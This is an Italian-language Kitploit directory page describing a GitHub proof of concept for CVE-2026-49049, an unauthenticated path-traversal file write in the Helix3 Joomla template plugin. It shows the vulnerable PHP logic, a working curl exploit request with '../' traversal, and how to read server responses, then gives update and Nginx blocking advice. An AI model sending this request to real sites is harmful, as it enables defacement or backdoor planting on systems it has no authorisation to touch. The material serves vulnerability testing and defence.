Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-49049 — Analisi tecnica e Proof of Concept (PoC) per CVE-2026-49049, una vulnerabilità di scrittura arbitraria di file senza autenticazione in JoomShaper Helix3 per Joomla, inclusi vettori di sfruttamento e linee guida per la mitigazione. | Kitploit
Strumenti/GitHubGitHub/dr-d25/cve-2026-49049
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingApprendimento e Formazione
GitHubdr-d25/cve-2026-49049

CVE-2026-49049

Analisi tecnica e Proof of Concept (PoC) per CVE-2026-49049, una vulnerabilità di scrittura arbitraria di file senza autenticazione in JoomShaper Helix3 per Joomla, inclusi vettori di sfruttamento e linee guida per la mitigazione.

Vedi Repository
12 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Indagine sulla vulnerabilità CVE-2026-49049: Scrittura arbitraria di file non autenticata in JoomShaper Helix3 (Joomla)

Il repository contiene materiali, analisi tecnica e Proof of Concept (PoC) per la vulnerabilità critica CVE-2026-49049, individuata nel framework di template obsoleto Helix3 di JoomShaper per il CMS Joomla (versioni dalla 1.0 alla 3.1.0 incluse).

La vulnerabilità è attivamente sfruttata in natura da botnet automatizzati (in particolare, nell'ambito della campagna di defacement AntonKill).


🔬 Analisi tecnica della vulnerabilità

Il problema risiede nel gestore AJAX di sistema di Joomla (com_ajax), che invoca il metodo onAjaxHelix3() nel plugin plg_ajax_helix3. Gli sviluppatori del componente non hanno previsto:

  1. Controllo di autenticazione dell'utente (Authentication Bypass).
  2. Controllo dei token CSRF.
  3. Filtraggio dei percorsi (Path Traversal Validation) durante l'elaborazione del parametro layoutName.

Logica del codice PHP vulnerabile:

root@kitploit:~
public function onAjaxHelix3() {
    \$input = Factory::getApplication()->input;
    \(data  =\)input->post->get('data', [], 'array');
    \(action =\)data['action'];
    \(layoutName =\)data['layoutName'];

    // Отсутствует проверка прав! Отсутствует фильтрация пути!
    \$filepath = \(layoutPath .\)layoutName; 

    switch (\$action) {
        case 'save':
            // Запись контролируемых данных в произвольную директорию сервера
            fwrite(fopen(\(filepath . '.json', 'wb'),\)data['content']);
            break;
    }
}

🛠 Proof of Concept (PoC)

Per verificare la vulnerabilità viene utilizzata una richiesta POST con tipo di contenuto application/x-www-form-urlencoded. Questo metodo di imballaggio dei parametri è il più efficace per dimostrare la falla.

Vettore d'attacco (comando cURL):

root@kitploit:~
curl -sk -X POST \
  'https://target.com' \
  -d 'data[action]=save&data[layoutName]=../../../../../../../example&data[content]={"probe":"test"}'

Analisi dettagliata dei dati trasmessi:

ParametroValore / EsempioCosa significa per il server
optioncom_ajaxPunto di ingresso in Joomla per elaborare le richieste AJAX.
pluginhelix3Identificatore di sistema che costringe Joomla a passare il controllo al plugin vulnerabile Helix3.
formatjsonIndica al motore di restituire la risposta in formato JSON.
-ddata[...]Corpo della richiesta (Form Data), automaticamente interpretato da PHP nell'array globale $_POST.
data[action]saveInterruttore switch nel codice. Istruisce il plugin a invocare la funzione di scrittura (creazione) del file.
data[layoutName]../../../../../../../exampleVettore d'attacco chiave (Path Traversal). I caratteri ../ costringono il sistema operativo a uscire dalla cartella isolata del plugin nella directory root del sito. L'estensione .json verrà aggiunta automaticamente dal plugin.
data[content]{"probe":"test"}Carico utile (Payload). Dati testuali che verranno fisicamente scritti all'interno del file creato example.json. Negli attacchi reali qui viene iniettato codice dannoso di defacement o backdoor.

🎯 Analisi delle risposte del server (Segni di validazione)

Durante il test di penetrazione, il server può restituire diversi tipi di risposte. La loro interpretazione è fondamentale:

Opzione A: La vulnerabilità è stata sfruttata con successo (File scritto)

Risposta del server:

root@kitploit:~
{"success":true,"message":null,"messages":null,"data":[]}

Interpretazione: Il plugin è vulnerabile, non ci sono restrizioni del sistema operativo. Il file è stato creato con successo nella root del sito ed è accessibile all'indirizzo https://target.com. Il sito richiede pulizia e isolamento immediati.

Opzione B: Il plugin è vulnerabile, ma è intervenuta la protezione del sistema operativo

Risposta del server:

root@kitploit:~
{
  "success":false,
  "message":"fwrite(): Argument #1 (\$stream) must be of type resource, bool given",
  "messages":null,
  "data":null
}

Interpretazione: Successo parziale. La logica del plugin Helix3 è stata compromessa — ha accettato i dati senza autenticazione e ha tentato di aprire il file in scrittura (fopen). Tuttavia, il sistema operativo Linux ha bloccato questa azione poiché l'utente del server web (ad esempio www-data) non ha i permessi di scrittura nella root del sito.

Opzione C: Sistema protetto (Aggiornato o rimosso)

Risposta del server: Stato 404 Not Found, 403 Forbidden o risposta vuota []. Interpretazione: Il plugin è stato aggiornato a una versione sicura (3.1.1+), dove è stato aggiunto il controllo di autenticazione, oppure è stato completamente rimosso dal CMS.


🛡 Mitigazione e rimozione della minaccia

  1. Aggiornamento / Rimozione: Aggiornare Helix3 alla versione 3.1.1 o superiore. Se il framework non viene utilizzato, rimuovere completamente il plugin plg_ajax_helix3 tramite il pannello di amministrazione di Joomla.
  2. Protezione a livello WAF (Nginx): Aggiungere una regola per bloccare le richieste POST dannose:
    root@kitploit:~
    if (\(request_method = POST) { set\)test "P"; }
    if (\$arg_plugin = "helix3") { set \(test "\){test}H"; }
    if (\$test = PH) { return 403; }
    

Disclaimer: Questo materiale è fornito esclusivamente a scopo educativo e per il legittimo audit di sicurezza dei sistemi (Pentesting). L'autore non si assume alcuna responsabilità per l'uso improprio delle informazioni fornite.

Scarica lo strumento